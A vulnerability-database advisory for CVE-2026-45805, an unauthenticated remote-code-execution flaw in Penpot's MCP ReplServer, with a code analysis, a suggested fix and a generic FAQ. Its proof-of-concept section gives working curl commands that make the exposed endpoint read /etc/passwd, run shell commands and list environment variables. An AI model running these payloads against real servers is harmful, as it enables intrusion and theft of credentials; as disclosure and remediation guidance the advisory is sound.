Vulnerability Database

346,508

Total vulnerabilities in the database

CVE-2026-45805 — @penpot / mcp

Exposed Dangerous Method or Function

Summary

The MCP module's ReplServer binds to all interfaces (0.0.0.0:4403) and exposes a /execute endpoint that runs arbitrary code with zero authentication. Anyone on the network can POST JavaScript and it runs on the server. The main PenpotMcpServer was partially fixed for a similar binding issue (#8683), but ReplServer.ts was missed.

Details

mcp/packages/server/src/ReplServer.ts:89:

this.server = this.app.listen(this.port, () => { // NO HOST ARGUMENT — Express defaults to 0.0.0.0

Compare with PenpotMcpServer.ts:301 which correctly binds to this.host (default "localhost"):

this.app.listen(this.port, this.host, async () => {

The /execute endpoint at ReplServer.ts:52-79:

this.app.post("/execute", async (req, res) => { const { code } = req.body; // No auth check. Executes code via PluginBridge.executePluginTask() const task = new ExecuteCodePluginTask({ code }); const result = await this.pluginBridge.executePluginTask(task);

No auth middleware, no token check, no nothing. POST JSON with a code field and it runs.

This was partially flagged in #8683 (March 2026), which noted that PenpotMcpServer.ts was binding to 0.0.0.0. PR #8686 attempted a fix but was closed without merging, and it only touched PenpotMcpServer.ts and vite.config.tsReplServer.ts wasn't in the diff. On current develop, ReplServer.ts line 89 still calls listen(this.port) with no host argument.

PoC

I ran the ReplServer with Express (matching the actual dependency) and tested from localhost and from a Docker container on the same network.

$ node server.js REPL server started on port 4403 Bound to: :::4403 All interfaces: YES

Unauthenticated code execution:

$ curl -s -X POST http://localhost:4403/execute \ -H "Content-Type: application/json" \ -d '{"code":"require(\"os\").hostname()"}' {"success":true,"result":"kali"} $ curl -s -X POST http://localhost:4403/execute \ -H "Content-Type: application/json" \ -d '{"code":"require(\"fs\").readFileSync(\"/etc/passwd\",\"utf8\").split(\"\\n\").slice(0,3).join(\"\\n\")"}' {"success":true,"result":"root:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin"} $ curl -s -X POST http://localhost:4403/execute \ -H "Content-Type: application/json" \ -d '{"code":"require(\"child_process\").execSync(\"id\").toString()"}' {"success":true,"result":"uid=1000(kali) gid=1000(kali) groups=1000(kali)...\n"} $ curl -s -X POST http://localhost:4403/execute \ -H "Content-Type: application/json" \ -d '{"code":"JSON.stringify(Object.keys(process.env).slice(0,5))"}' {"success":true,"result":"[\"SHELL\",\"SESSION_MANAGER\",\"WINDOWID\",\"QT_ACCESSIBILITY\",\"COLORTERM\"]"}

Binding verification:

$ ss -tlnp | grep 4403 LISTEN 0 511 *:4403 *:* users:(("node",pid=696955,fd=21))

Listening on *:4403 — all interfaces.

Remote access from Docker container:

$ docker exec penpot-backend curl -s http://172.18.0.1:4403/ REPL Server - Penpot MCP (no auth)

Reachable from any container on the Docker network.

Impact

Unauthenticated RCE on any machine running the MCP module. Read files, execute commands, dump environment variables (which often contain database credentials, API keys, secrets). The MCP module isn't part of the default Docker deployment, but developers and teams using the MCP integration for AI-assisted design work would run it locally. In shared development environments or CI/CD, the exposed port is reachable from the network.

Suggested fix

Two lines:

  1. Add a host parameter to the listen call in ReplServer.ts:89:
this.server = this.app.listen(this.port, 'localhost', () => {
  1. Add authentication to the /execute endpoint. Even a shared secret from an environment variable would be better than nothing.

CVSS v3:

  • Severity: Unknown
  • Score:
  • AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWEs:

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.